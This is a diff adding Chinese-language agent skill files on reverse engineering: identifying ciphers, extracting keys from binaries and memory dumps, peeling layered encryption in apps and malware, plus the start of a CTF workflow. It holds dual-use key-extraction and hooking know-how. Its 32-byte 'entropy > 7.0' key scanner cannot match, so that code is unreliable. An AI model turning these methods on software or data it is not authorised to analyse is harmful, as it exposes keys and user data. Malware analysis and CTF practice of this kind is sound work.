- **还原脚本与样本行为不一致 → 回查边界条件(长度/填充)**:现象——脚本解出的明文与样本自身输出不一样(多/少字节、尾部乱码);原因——边界条件没对齐:填充方式(PKCS7/zero)、长度字段是否含填充、IV 是否每包变、密文尾部是否截断;对策——反编译里逐条核对填充与长度处理代码,脚本里显式实现,再回步骤 4 用已知明文验证
|
||||
- **解密在壳内 → 先脱壳**:现象——在加壳样本里找不到解密函数,或找到的函数只是壳的解压;原因——密文数据/解密逻辑被壳包着,静态看是壳的初始状态([[re-memdump]] 坑 2 同理);对策——先 [[re-anti-analysis]] 脱壳(按明文/代码 materialization 定转储时机,不把 OEP 当通用判据),脱壳产物重新做定位
|
||||
- **多轮解密链**:现象——解出第一层后仍是乱码/高熵(熵 7.0+);原因——多层加密(先 XOR 再 AES,或嵌套压缩+加密,见 [[re-crypto-id]] 坑 3);对策——每层单独验证(解一层测一次熵与可读性),分层还原;可用"熵下降即前进一层"作为停止条件
|
||||
- **密钥/IV 顺序用错解出乱码**:现象——已知明文验证失败,但算法确定是 AES;原因——key/iv 参数顺序(样本是 key||iv 拼接还是分开传)、密钥字节序、或 IV 复用/固定 IV;对策——把 [[re-crypto-keys]] 的候选(含大小端变体、IV=key 前缀等常见错误实现变体)做成参数组合循环试解,命中即可读性/已知明文判定
|
||||
- **受限符号集 = 编码不是加密(伪加密)**:现象——熵 7.9+ 但字节值域明显受限(如只有 66 个符号、分布均匀、无周期),xortool/IC 对所有密钥长度全平;原因——这是"编码 + 单字节 XOR":**单字节 XOR 不改变频率分布与符号集**(只平移值),多字节 XOR 才会把符号打散成 256 值;对策——收集全部符号值集合,与已知字符集做 XOR 匹配(对 256 个 key 做集合比较,毫秒级,别用穷举):Base64 64 字符 + `\n` + `=` = 66 符号、Ascii85 85、hex 16 等;命中后 XOR 还原 → 解码;交叉验证:填充符(如 `=` 加密后仅出现 1 次在文件尾)、换行符频率、解码后魔数
|
||||
- **xortool/IC 结果全平 = 换思路的信号**:现象——密钥长度候选全部 ~10-20% 且无突出峰值;结论——统计上不存在周期结构,多字节重复密钥 XOR 基本排除,别换参数继续跑;对策——退回观察数据本身(值域/符号集/熵),通常是编码层或一次性密钥流(流密码)
|
||||
- **伪密文已确认但层数不止一层 → 分层剥离纪律**:每层剥完用魔数/可读性验证产物完整性再进下一层;中间产物全部保留命名(可回滚);熵不降 / 解出仍高熵 = 还有外层(如 XOR 外再 Base64、再压缩)
|
||||
- **像素级 XOR(视觉密码学/图像隐写)**:现象——两张"随机噪点"图,题目提示叠加;原因——视觉密码学把信息分成两张 share,XOR(或 ADD)像素后可见;对策——`ImageChops.logical_xor` 或 numpy `a^b` 逐像素 XOR 两图(RGB 三通道);结果常是"99.5% 纯白背景 + 极浅灰文字"(文字 254 vs 背景 255)——直接看/反色都不可见,**用阈值增强**:`==255 → 黑、其余 → 白`,文字立现;位图小字再按字符网格(5x7)切分逐字读,重复字符用两两位图相似度矩阵验证(如 `d562333d` 的重复模式)
|
||||
- **ADD 饱和加法是 XOR 的近亲**:现象——XOR 结果无内容时;原因——share 可能由加法式秘密共享生成(XOR 得到噪声,ADD/SUB 才出图);对策——同样试 `clip(a+b)` 饱和加法与 `a-b` 减法,多运算组合对比
|
||||
- **新版混淆重 → 老版本回溯定位**:现象——最新版核心函数混淆后体积异常庞大,IDA 分析卡顿,硬啃不现实;原因——同一 SDK 早期版本未上重混淆,核心逻辑更清晰;对策——按行为特征(如"同意隐私协议即触发采集")装历史版本包(豌豆荚等渠道)→ 点同意 → 抓包确认最早出现该参数的版本;选行为规范的版本做分析起点(调试方便:spawn/attach 都能复现);老版本还原出的逻辑反过来指导确认新版采集了哪些参数
|
||||
- **分段/分层加密上报(每段算法不同)**:现象——抓到的上报请求字段单看都像密文,但统一按一种算法解全是乱码;原因——客户端加密流程分多段:**单字段加密 → 分段加密 → 整体加密**,每段的算法/密钥不同(如第一层随机数做 key 逐字节加密、第二层固定 key、第三层拼接组合字段后再加密);且字段本身可能是设备采集的风险特征(svc 指令采集、`r_1_0` 类字段);对策——按"每层单独验证"纪律分层剥(熵降/可读即前进一层,见多轮解密链坑);注意同源 SDK 的"整体加密"可能再套 VM 化算法(约 70 个 handle 模拟基本指令、handle 未混淆时可逐个识别指令语义);key 来源分随机(抓包不可复现)与固定(可静态找)两类,先固定后随机
|
||||
- **双重 AES + 加密字符串(key/iv 也加密存)**:现象——确认 AES 后直接解仍失败,或 key/iv 每次会话都变;原因——实现常见套路:第一层 key/iv 固定(**以加密字符串形式硬编码在 so,运行时经解密函数解出**),第二层 key/iv 每次变化;两次加密间拼接固定前缀(如 `03000001`)再进同一函数;且加解密可能是同一函数(标志位控制方向);对策——hook 解密函数返回点批量导出全部解密字符串(JNI_OnLoad 前 memcpy 的加密串 → 全局变量 → 解密函数),key/iv 直接在其中搜索;找加密点用 findcrypt 扫特征常量(AES S-box 等)→ xref 定位校验 key/iv 长度(16)的函数;动态 hook 打印两次调用前后数据对照验证
|
||||
139
vendor-new/rev-skills/.claude/skills/re-crypto-id/SKILL.md
Normal file
139
vendor-new/rev-skills/.claude/skills/re-crypto-id/SKILL.md
Normal file
@@ -0,0 +1,139 @@
|
||||
---
|
||||
name: re-crypto-id
|
||||
description: >
|
||||
加密算法识别:常量表指纹、自定义加密模式。
|
||||
触发词:加密识别、AES、XOR、算法指纹、custom encryption
|
||||
capabilities: [crypto-identification]
|
||||
---
|
||||
|
||||
# 加密算法识别
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:拿到密文(流量或数据 blob)不确定是什么算法时
|
||||
- 用:样本里有加密实现,需要在反编译前先锁定算法范围
|
||||
- 用:怀疑自定义加密(XOR/ROL/ROR 变换)而非标准算法
|
||||
- 不用:算法已知(直接用 [[re-crypto-keys]] 找密钥、[[re-crypto-decrypt]] 解密)
|
||||
- 不用:标准库 API 调用清晰可见(`CryptEncrypt`/OpenSSL 符号可直接查——见 [[re-crypto-keys]] 导入表线索)
|
||||
- 不用:纯静态就能判定是明文([[re-triage]] 熵低/可读字符串多)
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。本技能以静态/离线分析为主,可免沙箱;动态确认环节(Frida)只针对已运行样本(默认沙箱,[[re-analyze/platform-tips]] 最高原则)。
|
||||
|
||||
### python3 —— 指纹与熵分析脚本
|
||||
|
||||
- 安装与验证见 [[re-proto-rev]] 工具准备(python3)
|
||||
|
||||
### binutils —— strings/objdump 取常量与反汇编线索
|
||||
|
||||
- Linux: `apt install binutils` / `dnf install binutils` / `pacman -S binutils`(多数自带)
|
||||
- macOS: `brew install binutils`(或系统自带 otool 替代)
|
||||
- Windows/WSL: WSL 内 Linux 版;Windows 本机用 Ghidra 自带工具
|
||||
- 验证: `strings --version`;`objdump --version`
|
||||
|
||||
### hexdump —— 十六进制查看密文/常量
|
||||
|
||||
- 安装与验证见 [[re-fw-extract]] 工具准备(hexdump)
|
||||
|
||||
### Detect It Easy(DIE)—— 可选,快速签名识别(Windows 常用)
|
||||
|
||||
- Windows: GitHub releases 下载便携版 https://github.com/horsicq/Detect-It-Easy(`diec.exe` CLI / `die.exe` GUI);`choco install die`(部分镜像有)
|
||||
- Linux: AUR `yay -S detect-it-easy` 或 releases 的 Linux 版
|
||||
- macOS: 源码构建(Qt 依赖)或 Wine 跑 Windows 版
|
||||
- 验证: `diec --help` 输出用法;`diec sample.bin` 能输出签名
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记下结果。判定产物(算法假设 + 证据)传给 [[re-crypto-keys]] / [[re-crypto-decrypt]]。
|
||||
|
||||
1. **常量表指纹(AES S-box / CRC 表 / MD5 IV)**:
|
||||
```sh
|
||||
# 静态数据段找常量表候选:连续 256 字节、熵低、无 ASCII
|
||||
strings -n 8 sample.bin | head -50
|
||||
objdump -s -j .data sample.bin | head -60
|
||||
# 搜索 AES S-box 开头(前 16 字节特征)
|
||||
python3 - <<'EOF'
|
||||
data = open('sample.bin','rb').read()
|
||||
aes_sbox = bytes.fromhex('637c777bf26b6fc53001672bfed7ab76')
|
||||
crc32_tab_be = bytes.fromhex('0000000077073096ee0e612c990951ba') # 标准 CRC32 表前 16 字节(poly 0xEDB88320,显示序/BE)
|
||||
crc32_tab_le = bytes.fromhex('00000000963007772c610eeeba510999') # 同一表在 x86/ARM 小端二进制内存中的字节序
|
||||
for name, sig in [('AES_SBOX', aes_sbox), ('CRC32_TAB(BE)', crc32_tab_be), ('CRC32_TAB(LE)', crc32_tab_le)]:
|
||||
i = data.find(sig)
|
||||
while i != -1:
|
||||
print(f"{name} @ 0x{i:x}"); i = data.find(sig, i+1)
|
||||
EOF
|
||||
```
|
||||
- 命中 AES S-box(256 字节表)→ AES 候选;命中 CRC 表 → 有 CRC/校验(可能配合 [[re-proto-rev]] 步骤 3);命中 MD5 IV → MD5 候选
|
||||
- 字节序:上面列出的 hex 均为显示序(BE 阅读序)。小端二进制(x86/ARM)里常量表在内存中的实际字节为 LE 序——CRC 表同时搜 `00000000963007772c610eeeba510999`(脚本已含),MD5 IV 显示序为 `67452301efcdab89...`,LE 序列化为 `0123456789abcdeffedcba9876543210`(两种模式都搜)
|
||||
- 没命中 → 不排除动态生成表(见坑 2),继续下一步
|
||||
|
||||
2. **熵分析定位密文(区分密文与明文区域)**:
|
||||
```python
|
||||
data = open('sample.bin','rb').read()
|
||||
import math, collections
|
||||
for base in range(0, len(data), 4096):
|
||||
blk = data[base:base+4096]
|
||||
if not blk: break
|
||||
c = collections.Counter(blk); n = len(blk)
|
||||
h = -sum((v/n)*math.log2(v/n) for v in c.values())
|
||||
if h > 7.0: print(f"0x{base:x}: entropy={h:.2f} <- 高熵区(密文/压缩候选)")
|
||||
```
|
||||
- 高熵区(>7.0)→ 密文或压缩数据候选,记偏移供 [[re-crypto-decrypt]] 定位输入点
|
||||
- 低熵区但看起来"乱"(无 ASCII、无结构)→ 可能自定义加密或简单变换(下一步)
|
||||
|
||||
3. **XOR / ROL / ROR 单字节模式检测**:
|
||||
```python
|
||||
data = open('sample.bin','rb').read()
|
||||
for key in range(256):
|
||||
dec = bytes(b ^ key for b in data)
|
||||
score = sum(1 for b in dec if 32 <= b < 127)
|
||||
if score > len(data) * 0.6: print(f"XOR key=0x{key:02x}, printable={score/len(data):.0%}")
|
||||
```
|
||||
- 检测结果"可打印率 >60%" → 单字节 XOR;解密交给 [[re-crypto-decrypt]]
|
||||
- ROL/ROR:观察密文相邻字节关系(`x ^ rol(x)` 对同一 key 重复出现);或找 256 轮换表(与 S-box 类似但值呈循环移位特征)
|
||||
- 有密码学直觉也行:单字节变换的结果通常保留原分布特征,先试最简单的再升级(见坑 1)
|
||||
|
||||
4. **常见算法流程特征(轮数 / 分组)**:
|
||||
- 反汇编/反编译里找特征函数形态:AES 有 10/12/14 轮(128/192/256 位)循环结构 + 常数表引用(配合步骤 1);DES 有 16 轮 + 置换表(64 位分组);RC4 有 256 字节 KSA/PRGA 循环
|
||||
- 数据侧:**长度只能辅助判断 mode,不能区分 primitive**。ECB/传统 CBC 等 pad 到整块的 mode 常见密文为块长整数倍;但基于分组密码的 CTR/OFB/CFB 可产出**与明文等长的任意长度**密文(NIST SP 800-38A 中 OFB/CTR 末块允许截到 u bit,CFB 的粒度是 segment size s),CBC-CTS 也能避免 padding 扩长。因此「长度任意」**推不出** RC4/XOR/ChaCha——同一份 37 字节明文,`aes-128-ctr/ofb/cfb` 密文都是 37 字节,`aes-128-cbc/ecb` 才是 48 字节
|
||||
- primitive 识别要靠**常量表 / 轮函数形态 / key schedule / IV-nonce-counter 数据流**:常量表指纹 + 轮数(如 AES 10/12/14 轮)定 primitive,长度与 mode 特征(是否需要 padding、是否有 IV/nonce 每次变化、counter 是否递增)定 mode。**AES 的 block size 恒为 128 bit(16 字节),192/256 是 key size**,不存在「24/32 字节分组」的 AES
|
||||
- 反编译工具有 auto-detection 时先用它(Ghidra 的 FindCrypt 脚本 / IDA 的 FindCrypt2)交叉确认
|
||||
- 反编译工具有 auto-detection 时先用它(Ghidra 的 FindCrypt 脚本 / IDA 的 FindCrypt2)交叉确认
|
||||
|
||||
5. **动态侧确认(Frida 断在加密函数)**:
|
||||
- 静态结论有歧义(多个候选)时,沙箱内([[re-sandbox]])运行样本,Frida hook 可疑调用:
|
||||
```sh
|
||||
pip install frida-tools
|
||||
frida -p <pid> -l hook.js
|
||||
```
|
||||
```js
|
||||
// hook.js: 断在疑似加密函数,打印入参(密文/明文)与返回
|
||||
Interceptor.attach(Module.findGlobalExportByName("crypt_fn"), { // Frida 17+:旧写法 Module.findExportByName(null, ...) 已移除
|
||||
onEnter(args) { console.log("arg0:", hexdump(args[0])); },
|
||||
onLeave(ret) { console.log("ret:", hexdump(ret)); }
|
||||
});
|
||||
```
|
||||
- 观察入参是否为高熵密文(对应步骤 2 的偏移)、返回是否变可读 → 确认该函数就是加密/解密点
|
||||
- hook 目标名不确定时先 `frida -p <pid> -l /dev/stdin` 里用 `Process.enumerateModules()` 找动态加载的加密库
|
||||
- 动态确认结果反哺静态假设:哪个候选函数真的吃到密文,就用哪个(见坑 4 的算法组合:最内层先确认)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-protocol]]:本网关工作流第 2 步(加密识别)——流量是密文时的必经环节
|
||||
- [[re-malware]]:C2 通信加密识别(re-malware 第 4 步:netcap → crypto-id → crypto-keys → crypto-decrypt)
|
||||
- [[re-firmware]]:固件内加密通信/加密固件层的算法识别(配合 [[re-fw-extract]] 解包失败时的加密层判断)
|
||||
- [[re-crypto-keys]] / [[re-crypto-decrypt]]:下游——识别出算法后找密钥、写解密
|
||||
- [[re-binary-core]]:反编译佐证([[re-ghidra]] / [[re-ida]] / [[re-radare2]] 的 FindCrypt 类脚本);动态确认在 [[re-sandbox]] 内
|
||||
- [[re-anti-analysis]]:加壳样本先脱壳再做常量表指纹(壳层常量会污染指纹)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **自定义加密先试简单模式(XOR)再升级**:现象——花半天做 AES 指纹,最后发现是单字节 XOR;原因——先入为主假设标准算法,没先做廉价检查;对策——步骤 3 的单字节 XOR/ROL/ROR 检测 30 秒内做完,再上常量表指纹与轮数分析(便宜假设先行)
|
||||
- **表隐藏(动态生成)→ 指纹失效**:现象——静态数据段找不到 AES S-box/CRC 表,误判"非标准算法";原因——算法运行时动态生成常量表(常见反分析手法,见 [[re-anti-analysis]] 域);对策——步骤 5 动态确认:运行后内存([[re-memdump]])里搜表特征,或 Frida 断在轮函数看引用
|
||||
- **算法组合(先 XOR 再 AES)需分层识别**:现象——按 AES 解出"明文"仍是乱码,或 XOR 检测可打印率不足;原因——多层加密叠加,单层假设不全;对策——先剥最内/最外层(观察哪个层次剥掉后熵下降、可读性上升),一层层确认,每层识别结果独立记录再组合(见步骤 5 的最内层优先原则)
|
||||
- **把压缩当加密**:现象——熵 >7.0 高熵区按加密处理,解密脚本对不上;原因——zlib/LZMA 压缩同样高熵;对策——先看高熵区前 2-4 字节是否有压缩格式标识(gzip 头 `1F 8B`;`78 9C` 是常见 zlib CMF/FLG 组合而非 gzip,两字节不足以作唯一判据),有则先用 `zlib.decompress`/`binwalk`(见 [[re-fw-extract]])试解压再谈加密
|
||||
- **只搜 S-box 会漏掉变体实现**:现象——搜 256 字节 S-box 表没命中,误判"非 AES",实际是 AES;原因——实现用位切片/即时计算 S-box(不存表),但密钥调度仍常保留 16 字节 Rcon 表,或改用 MixColumns 乘法表(GF(2^8) 乘 2/3/9/11/13/14);对策——补充搜 Rcon 序列(`01 02 04 08 10 20 40 80 1B 36 ...`,0x1B 是特征值)与乘法表布局,多表交叉确认再定性
|
||||
- **指纹命中 ≠ 加密函数在用**:现象——搜到 AES S-box/CRC 表就按该算法分析半天,实际业务是别的加密;原因——常量表可能来自未调用的静态库代码或壳层常量(先脱壳再指纹,见 [[re-anti-analysis]]);对策——指纹命中后必须 xref 确认表被引用(谁引用、是否在加密路径上),与轮数/常量表布局/IV-nonce 数据流交叉(**不要用密文长度对齐做 primitive 判据**),动态侧(步骤 5)最终确认
|
||||
- **常见签名模式速查**:现象——签名算法识别慢;原因——签名算法有固定模式族;对策——按模式快速对照:HmacSHA256(sorted_params, key) 最常见;MD5(params + salt + timestamp) 较老系统;AES(JSON.stringify(params), key) 是加密而非签名;RSA sign 少见(多为金融类)
|
||||
(来源:reverse-skill field-journal,MIT)
|
||||
123
vendor-new/rev-skills/.claude/skills/re-crypto-keys/SKILL.md
Normal file
123
vendor-new/rev-skills/.claude/skills/re-crypto-keys/SKILL.md
Normal file
@@ -0,0 +1,123 @@
|
||||
---
|
||||
name: re-crypto-keys
|
||||
description: >
|
||||
密钥与口令提取:硬编码、内存搜索、资源。
|
||||
触发词:找密钥、硬编码、key extraction、口令
|
||||
capabilities: [key-extraction]
|
||||
---
|
||||
|
||||
# 密钥与口令提取
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:需要解密数据/流量但不知道密钥时(静态优先:硬编码 → 资源 → 导入表;动态:内存转储)
|
||||
- 用:确认样本是否硬编码了密钥/口令(配置提取)
|
||||
- 用:密钥是运行时派生的(PBKDF/HKDF)需要还原派生过程
|
||||
- 不用:算法都还没确认(先 [[re-crypto-id]])
|
||||
- 不用:密钥通过外部配置/服务器下发(没有本地密钥可提取——诚实告诉用户,见坑 2)
|
||||
- 不用:只做静态格式分析([[re-triage]] / [[re-format-pe]])
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。静态搜索可免沙箱;内存转储/动态环节按 [[re-memdump]] 默认转储优先 + [[re-analyze/platform-tips]] 最高原则(运行样本进沙箱)。
|
||||
|
||||
### strings —— 可打印串快速扫描(全平台)
|
||||
|
||||
- Linux: `apt install binutils` / `dnf install binutils` / `pacman -S binutils`(多数自带)
|
||||
- macOS: 系统自带 /usr/bin/strings
|
||||
- Windows/WSL: WSL 内 Linux 版;Windows 本机用 Ghidra 或 `strings.exe`(Sysinternals)
|
||||
- 验证: `strings --version`(GNU 版有 --version)
|
||||
|
||||
### ghidra / rizin —— 反编译与交叉引用搜索(安装见 [[re-ghidra]] / [[re-radare2]])
|
||||
|
||||
- 搜索常量/字符串的交叉引用是找"谁用了这个密钥"的关键
|
||||
- 验证: `ghidra`(GUI)或 `rz-ghidra` 插件可用;`rizin -v`
|
||||
|
||||
### 转储产物 —— 内存搜索原料([[re-memdump]] 默认转储)
|
||||
|
||||
- 按 [[re-memdump]] 步骤 1 用 `gcore -o out <pid>` 转储;转储时机按明文/代码 materialization 定(单层壳 OEP 附近通常合适,OEP 非通用判据,见 [[re-analyze/platform-tips]] 关键经验)
|
||||
- 验证: `file out` 确认为 ELF core,`eu-stack -e out` 能跑
|
||||
|
||||
### python3 —— 熵块/模式扫描脚本
|
||||
|
||||
- 安装与验证见 [[re-proto-rev]] 工具准备(python3)
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记下结果。策略顺序:**先静态后动态**(见坑 3),每步产物(密钥/口令 + 来源证据:偏移、函数名、转储路径)记录供 [[re-crypto-decrypt]] 使用。
|
||||
|
||||
1. **静态:strings / 交叉引用找硬编码**:
|
||||
```sh
|
||||
strings -n 6 sample.bin | grep -iE 'key|secret|pass|token|crypt|iv' | head -50
|
||||
strings -el sample.bin | grep -iE 'key|secret|pass' | head -20 # UTF-16LE(Windows 常见)
|
||||
strings -n 8 sample.bin | head -100 # 全量扫描人工过一遍
|
||||
```
|
||||
- 可疑串(看起来像密钥的固定串)用反编译器查交叉引用:[[re-ghidra]] / [[re-ida]] 右键 Find References——看它被哪个函数读、怎么参与运算(直接进加密参数 → 是密钥;参与查表/比较 → 是口令或盐)
|
||||
- 反编译器里搜常量(`Search > Memory` / `:> /v 0x...`):32 字节十六进制串、重复的随机数据段
|
||||
- 十六进制侧: 用 [[re-crypto-id]] 步骤 1 的脚本找 AES S-box 等常量表后,表附近的内存数据常是密钥材料
|
||||
|
||||
2. **内存:转储后搜密钥模式(16/32 字节熵块、口令可打印串)**:
|
||||
```sh
|
||||
gcore -o out <pid> # 默认转储([[re-memdump]]),按 materialization 定时机
|
||||
```
|
||||
```python
|
||||
data = open('out','rb').read()
|
||||
import collections, math
|
||||
# 16/32 字节高熵块(AES-128/256 密钥候选)
|
||||
def ent(blk):
|
||||
c = collections.Counter(blk); n = len(blk)
|
||||
return -sum((v/n)*math.log2(v/n) for v in c.values())
|
||||
for base in range(0, len(data)-32, 32):
|
||||
blk = data[base:base+32]
|
||||
if ent(blk) > 7.0 and 16 <= len(set(blk)) <= 24:
|
||||
print(f"0x{base:x}: 32B 高熵块")
|
||||
# 口令/可打印串
|
||||
import re
|
||||
for m in re.finditer(rb'[ -~]{8,64}', data):
|
||||
s = m.group()
|
||||
if any(k in s.lower() for k in (b'key', b'pass', b'secret', b'pwd')):
|
||||
print(f"0x{m.start():x}: {s}")
|
||||
```
|
||||
- 高熵块命中太多(整个堆都是)→ 结合 [[re-memdump]] 的 maps/偏移缩小到加密上下文附近,或先用步骤 4 的导入表定位函数再取参数
|
||||
- 密钥可能在堆/栈上碎片化或异或混淆(见坑 1)——找到后先在解密脚本里验证一次([[re-crypto-decrypt]] 步骤 4)
|
||||
|
||||
3. **资源文件(.rsrc / 嵌入 blob)**:
|
||||
- PE: 用 `llvm-objdump -s -j .rsrc sample.exe` 或 Ghidra 看资源段;`7z x sample.exe` 可解出嵌入的 icon/version/自定义资源
|
||||
- ELF: 找 `.rodata` 里的嵌入 blob(`objdump -s -j .rodata`);结合 [[re-firmware]] 经验——固件里密钥常在配置文件/默认证书里
|
||||
- 嵌入 blob 可能是序列化配置(JSON/INI 编码的密钥字段),先按文本解析再按二进制挖;blob 是加密的(高熵)→ 回 [[re-crypto-id]],外层可能还有一层解密
|
||||
|
||||
4. **导入表线索(Crypt* 函数附近)**:
|
||||
- `objdump -p sample.exe | grep Crypt` / Ghidra Imports 窗口找 `CryptEncrypt`/`CryptDecrypt`/`BCrypt*`/`RSA*`/`EVP_*`(OpenSSL)
|
||||
- 找到后反编译该函数:密钥参数(handle/KEYEXCHANGE 结构)通常来自"前面某处设置的固定值"——从函数上溯数据流:常量赋值、全局变量初始化、`CryptSetKeyParam` 的 `pbKeyData` 参数
|
||||
- 设断点观察参数更直接([[re-gdb]] / [[re-x64dbg]]): `b CryptSetKeyParam` 后看 `pbKeyData` 指向的内存——但注意 [[re-analyze/platform-tips]] 最高原则:运行进沙箱
|
||||
|
||||
5. **密钥派生函数(PBKDF)还原**:
|
||||
- 反编译里认出 `PBKDF2`/`scrypt`/`bcrypt`/`EVP_BytesToKey` 调用 → 密钥 = KDF(口令, 盐, 迭代次数),逐参数提取:口令(硬编码串或用户输入)、盐(固定字节或上下文)、迭代次数(常量)
|
||||
- 写还原脚本(`pip install cryptography` / `hashlib` 自带 PBKDF2):
|
||||
```python
|
||||
import hashlib
|
||||
key = hashlib.pbkdf2_hmac('sha256', b'passphrase', b'<salt>', 100000, dklen=32)
|
||||
print(key.hex())
|
||||
```
|
||||
- 验证: 派生的 key 与步骤 2 内存里的高熵块一致(说明 KDF 跑完的密钥就在那),或直接用 [[re-crypto-decrypt]] 试解已知密文
|
||||
- 动态补充: Frida hook KDF 函数看返回 buffer(沙箱内,[[re-sandbox]]),比对静态还原结果
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-protocol]]:本网关工作流第 3 步(密钥)——加密通信解密链路的中段(crypto-id → crypto-keys → crypto-decrypt)
|
||||
- [[re-malware]]:C2 配置提取(硬编码 C2 密钥/口令)——re-malware 第 4 步的密钥环节;恶意样本密钥常埋在配置里([[re-behavior]] 行为确认 + 本技能提取)
|
||||
- [[re-firmware]]:固件内硬编码口令/密钥挖掘——re-firmware 第 3 步(rootfs 配置/默认证书)
|
||||
- [[re-memdump]]:默认转储是本技能内存搜索的原料([[re-analyze/platform-tips]] 直读 vs 转储决策表)
|
||||
- [[re-crypto-decrypt]]:下游——提取的密钥交给解密脚本验证与使用
|
||||
- [[re-anti-analysis]]:壳内密钥先脱壳(按 materialization 定 dump 点,见 [[re-memdump]] 转储时机)
|
||||
- [[re-ioc]]:提取出的硬编码密钥/口令可作 YARA 特征与 IOC
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **密钥分片存储/异或混淆**:现象——提取的单块"密钥"解不出明文,或字符串/内存里找不到完整密钥;原因——样本把密钥拆成多段(分片)或与常量异或后存储,运行时重组;对策——反编译找重组逻辑:密钥字节来自多个偏移/多次异或(见坑 3 的"先查硬编码"流程里,确认硬编码时要看引用处的运算);还原出候选后在 [[re-crypto-decrypt]] 里逐个试
|
||||
- **真随机密钥 ≠ 可从静态提取**:现象——静态/内存搜索全无收获,用户仍要密钥;原因——密钥是启动时 `RAND_bytes` 生成或服务器下发,根本不在样本里(白盒攻击之外无解);对策——诚实报告:本地无可提取密钥,改走密钥派生拦截(hook `RAND_bytes`/KDF 输入)、算法侧攻击(若解密结果可被已知明文验证)或回 [[re-malware]] 看密钥是否由 C2 下发
|
||||
- **先查是否硬编码再上动态**:现象——样本硬编码了密钥,却先跑沙箱+Frida 折腾半天;原因——没有按静态优先顺序执行;对策——步骤 1 strings/交叉引用是 30 秒检查,静态命中直接跳过动态;动态只在静态无果、且需要运行时材料(KDF 输入、重组逻辑)时上(见 [[re-analyze/platform-tips]] 静态优先思路与最高原则)
|
||||
- **转储时机过早拿不到运行时密钥**:现象——内存搜索找不到任何高熵块或找到的都对不上;原因——在壳解密/密钥初始化前 dump(拿到的是壳的初始状态,见 [[re-memdump]] 坑 2);对策——确认明文/密钥已 materialize(经典单层壳在 OEP 后、执行过加密调用;多阶段/按需解密按「写→执行转移 + payload 头/导入恢复」判断)再 gcore;必要时在加密函数断点触发后再 dump([[re-gdb]] 配合)
|
||||
- **内存密钥候选模式漏 AES-192**:现象——高熵块只按 16/32 字节搜,24 字节密钥漏检,解密对不上;原因——AES-128/256 的 16/32 字节是常见假设,AES-192 密钥恰为 24 字节(轮数 12);对策——高熵块搜索窗口覆盖 16/24/32 三档(配合 [[re-crypto-id]] 的轮数 10/12/14 判断定参数),候选命中后先在 [[re-crypto-decrypt]] 试解验证
|
||||
- **勒索类样本密钥即用即销,事后 dump 必然为空**:现象——确认样本执行过加密,但任何内存转储里都搜不到密钥材料;原因——勒索软件在加密完成后立即清零密钥(wipe),密钥只在加密执行阶段短暂存在于内存(NotPetya/BadRabbit/Phobos 实验可画出密钥存在时间线);对策——在加密阶段(业务逻辑运行中)做多次快照 dump 对比构建时间线,或配合 [[re-gdb]] 在加密函数返回前断住抓参数,比单一事后 dump 可靠
|
||||
- **密钥明文只在特定执行瞬间出现,转储必错过**:现象——转储搜索无果,但动态跟踪能看到密钥出现;原因——部分样本的主密钥在内存里只在极短窗口以明文存在(如浏览器 v20_master_key 只在解密瞬间出现,VoidStealer 即靠硬件断点抓这一点);对策——先定位密钥使用点(加密函数/派生点),在其上设硬件断点([[re-gdb]]/[[re-x64dbg]],不依赖断点指令)实时截获明文,比"转储后大海捞针"高效
|
||||
68
vendor-new/rev-skills/.claude/skills/re-ctf/SKILL.md
Normal file
68
vendor-new/rev-skills/.claude/skills/re-ctf/SKILL.md
Normal file
@@ -0,0 +1,68 @@
|
||||
---
|
||||
name: re-ctf
|
||||
type: gateway
|
||||
description: >
|
||||
CTF 实践网关。编排:题型识别 → 简单题直接 [[re-binary-core]] →
|
||||
需自动化 [[re-angr]]/[[re-z3]] → 混淆 [[re-deobfuscate]]。
|
||||
子技能:[[re-angr]] [[re-z3]] [[re-pwn]]、[[re-stego]]。
|
||||
触发词:CTF、赛题、逆向题、pwn、babyre、自动解题、符号执行、angr、z3、solver、找flag。
|
||||
capabilities: [constraint-solving, stego-detection, shellcode-analysis]
|
||||
---
|
||||
|
||||
# CTF 实践(题型识别 / 自动化解题 / 约束求解)
|
||||
|
||||
## 完整工作流
|
||||
|
||||
按顺序执行;每步产物(题型结论 / 关键函数地址 / 约束模型 / flag)记录证据路径 + sha256(见 [[re-triage]](能力:`triage`)),供 writeup 引用。
|
||||
|
||||
1. **题型识别** —— 先别急着上工具,读题 + 初勘定题型(见坑 1):
|
||||
- 逆向题(rev / babyre):给一个二进制,要求还原算法 / 找输入 / 找 flag —— 按第 2-4 步走
|
||||
- 加密 / 算法题:给加密函数 / 密文,要求解出明文或逆算法 —— 涉及 [[re-crypto-id]](能力:`crypto-identification`) / [[re-crypto-decrypt]](能力:`crypto-decryption`),约束求解用 [[re-z3]](能力:`constraint-solving`)
|
||||
- 序列号 / 注册类题:校验函数还原 → 注册机(见 [[re-license]](能力:`license-analysis`) / [[re-keygen]](能力:`license-analysis`),硬推比较链用 [[re-z3]](能力:`constraint-solving`))
|
||||
- pwn / 栈溢出题:入门利用走 [[re-pwn]]([[re-gdb]](能力:`debugging`) / [[re-radare2]](能力:`decompilation`) 动态调试,运行在 [[re-sandbox]](能力:`sandbox-setup`))
|
||||
- 初勘命令:`file` / `checksec` / 熵 / strings([[re-triage]](能力:`triage`)),识别架构、是否带壳、是否静态链接
|
||||
2. **简单题直接 [[re-binary-core]](能力:`decompilation`、`debugging`、`memory-dump`、`elf-parser`、`pe-parser`、`macho-parser`)** —— 题不需要自动化时,走通用分析(初勘 → 格式解析 → 反编译 → 调试):[[re-ghidra]](能力:`decompilation`、`debugging`) / [[re-ida]](能力:`decompilation`、`debugging`) / [[re-radare2]](能力:`decompilation`) 反编译主逻辑,人工还原出 flag / 注册算法。**先估算复杂度**:几行比较 / 简单 XOR 的题 15 分钟人工就够,上 angr 反而慢(见坑 2)
|
||||
3. **需自动化 → [[re-angr]](能力:`symbolic-execution`) / [[re-z3]](能力:`constraint-solving`)**:
|
||||
